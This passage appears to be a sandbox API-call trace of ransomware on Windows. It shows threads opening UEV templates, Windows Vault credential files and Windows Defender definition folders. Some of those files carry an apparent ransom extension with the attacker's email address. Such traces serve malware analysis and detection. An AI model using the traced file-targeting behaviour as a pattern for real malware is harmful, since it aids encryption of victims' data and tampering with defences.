RtlExitUserThread (Status=0x0) Thread: id = 2401 os_tid = 0xffc [0175.114] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml")) returned 0x20 [0175.115] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", dwFileAttributes=0x20) returned 0 [0175.115] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftskypeforbusiness2016win64.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.115] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftSkypeForBusiness2016Win64.xml", dwFileAttributes=0x20) returned 0 [0175.115] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3055d70) returned 1 [0175.115] RtlExitUserThread (Status=0x0) Thread: id = 2402 os_tid = 0x618 [0175.121] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml")) returned 0x20 [0175.121] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", dwFileAttributes=0x20) returned 0 [0175.121] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftwordpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.121] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftWordpad.xml", dwFileAttributes=0x20) returned 0 [0175.121] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcfa20) returned 1 [0175.121] RtlExitUserThread (Status=0x0) Thread: id = 2403 os_tid = 0x9b4 [0175.123] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\networkprinters.xml")) returned 0x20 [0175.124] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", dwFileAttributes=0x20) returned 0 [0175.124] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\networkprinters.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.124] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\NetworkPrinters.xml", dwFileAttributes=0x20) returned 0 [0175.124] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82e08) returned 1 [0175.124] RtlExitUserThread (Status=0x0) Thread: id = 2404 os_tid = 0x610 [0175.125] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml")) returned 0x20 [0175.132] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", dwFileAttributes=0x20) returned 0 [0175.132] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\roamingcredentialsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.132] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\RoamingCredentialSettings.xml", dwFileAttributes=0x20) returned 0 [0175.132] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedfa0) returned 1 [0175.132] RtlExitUserThread (Status=0x0) Thread: id = 2405 os_tid = 0xcb4 [0175.135] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml")) returned 0x20 [0175.135] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", dwFileAttributes=0x20) returned 0 [0175.136] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\themesettings2013.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.136] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\ThemeSettings2013.xml", dwFileAttributes=0x20) returned 0 [0175.136] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcff78) returned 1 [0175.136] RtlExitUserThread (Status=0x0) Thread: id = 2406 os_tid = 0xcb8 [0175.137] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\vdistate.xml")) returned 0x20 [0175.138] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", dwFileAttributes=0x20) returned 0 [0175.138] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\vdistate.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.138] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\VdiState.xml", dwFileAttributes=0x20) returned 0 [0175.138] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa0988) returned 1 [0175.138] RtlExitUserThread (Status=0x0) Thread: id = 2407 os_tid = 0x5b0 [0175.140] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch")) returned 0x20 [0175.140] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", dwFileAttributes=0x20) returned 0 [0175.140] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.140] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch", dwFileAttributes=0x20) returned 0 [0175.140] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc42b0) returned 1 [0175.140] RtlExitUserThread (Status=0x0) Thread: id = 2408 os_tid = 0x5b8 [0175.146] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.149] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.149] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\154e23d0-c644-4e6f-8ce6-5069272f999f.vsch.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.149] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\154E23D0-C644-4E6F-8CE6-5069272F999F.vsch.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.149] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2d78) returned 1 [0175.149] RtlExitUserThread (Status=0x0) Thread: id = 2409 os_tid = 0x5bc [0175.152] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch")) returned 0x20 [0175.152] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch", dwFileAttributes=0x20) returned 0 [0175.152] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.152] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch", dwFileAttributes=0x20) returned 0 [0175.152] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4a30) returned 1 [0175.152] RtlExitUserThread (Status=0x0) Thread: id = 2410 os_tid = 0x598 [0175.155] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.156] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.156] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.156] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\2F1A6504-0641-44CF-8BB5-3612D865F2E5.vsch.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.156] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe2280) returned 1 [0175.156] RtlExitUserThread (Status=0x0) Thread: id = 2411 os_tid = 0x58c [0175.157] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch")) returned 0x20 [0175.157] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch", dwFileAttributes=0x20) returned 0 [0175.158] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.158] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch", dwFileAttributes=0x20) returned 0 [0175.158] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4d00) returned 1 [0175.158] RtlExitUserThread (Status=0x0) Thread: id = 2412 os_tid = 0x590 [0175.159] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.159] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.159] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.159] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\3CCD5499-87A8-4B10-A215-608888DD3B55.vsch.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.160] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe1b30) returned 1 [0175.160] RtlExitUserThread (Status=0x0) Thread: id = 2413 os_tid = 0x488 [0175.161] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol")) returned 0x20 [0175.162] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol", dwFileAttributes=0x20) returned 0 [0175.162] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.162] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol", dwFileAttributes=0x20) returned 0 [0175.162] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f920b0) returned 1 [0175.162] RtlExitUserThread (Status=0x0) Thread: id = 2414 os_tid = 0x4a0 [0175.164] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0175.167] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.167] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\vault\\ac658cb4-9126-49bd-b877-31eedab3f204\\policy.vpol.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0175.167] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\AC658CB4-9126-49BD-B877-31EEDAB3F204\\Policy.vpol.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0175.167] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054d00) returned 1 [0175.168] RtlExitUserThread (Status=0x0) Thread: id = 2415 os_tid = 0x4ac [0175.169] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x94) returned 0x2fa2138 [0175.169] wcscpy (in: _Dest=0x2fa2138, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup" [0175.169] wcscat (in: _Dest=0x2fa2138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\" [0175.169] wcscat (in: _Dest=0x2fa2138, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*" [0175.169] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022720 [0175.169] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Backup\\*", lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d6ec5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3044f68 [0175.170] wcscmp (_String1=".", _String2=".") returned 0 [0175.170] FindNextFileW (in: hFindFile=0x3044f68, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d6ec5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.170] wcscmp (_String1="..", _String2=".") returned 1 [0175.170] wcscmp (_String1="..", _String2="..") returned 0 [0175.170] FindNextFileW (in: hFindFile=0x3044f68, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd525f5, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xc25d6ec5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd525f5, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0175.170] FindClose (in: hFindFile=0x3044f68 | out: hFindFile=0x3044f68) returned 1 [0175.172] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3022720) returned 1 [0175.172] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa2138) returned 1 [0175.172] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcfd18) returned 1 [0175.172] RtlExitUserThread (Status=0x0) Thread: id = 2416 os_tid = 0x468 [0175.173] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x96) returned 0x2fa2138 [0175.173] wcscpy (in: _Dest=0x2fa2138, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" [0175.173] wcscat (in: _Dest=0x2fa2138, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\" [0175.173] wcscat (in: _Dest=0x2fa2138, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\*" [0175.173] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3022720 [0175.173] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\*", lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26252c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3044f68 [0175.178] wcscmp (_String1=".", _String2=".") returned 0 [0175.178] FindNextFileW (in: hFindFile=0x3044f68, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc26252c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0175.178] wcscmp (_String1="..", _String2=".") returned 1 [0175.178] wcscmp (_String1="..", _String2="..") returned 0 [0175.178] FindNextFileW (in: hFindFile=0x3044f68, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26c24f7c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26c24f7c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26c24f7c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11d0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GapaEngine.dll", cAlternateFileName="")) returned 1 [0175.178] wcscmp (_String1="GapaEngine.dll", _String2=".") returned 1 [0175.178] wcscmp (_String1="GapaEngine.dll", _String2="..") returned 1 [0175.178] FindNextFileW (in: hFindFile=0x3044f68, lpFindFileData=0x3022720 | out: lpFindFileData=0x3022720*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26af3c42, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26af3c42, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26b66370, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x22f6710, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsBase.vdm", cAlternateFileName="")) returned 1 [0175.178] wcscmp (_String1="MpAsBase.vdm", _String2=".") returned 1 [0175.178] wcscmp (_String1="MpAsBase.vdm", _String2="..") returned 1 [0175.178] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xac) returned 0x2f83e68 [0175.178] wcscpy (in: _Dest=0x2f83e68, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default" [0175.178] wcscat (in: _Dest=0x2f83e68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\" [0175.178] wcscat (in: _Dest=0x2f83e68, _Source="MpAsBase.vdm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsBase.vdm") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Definition Updates\\Default\\MpAsBase.vdm" [0175.488] CreateThread (in: lpThreadAttributes=0x0, 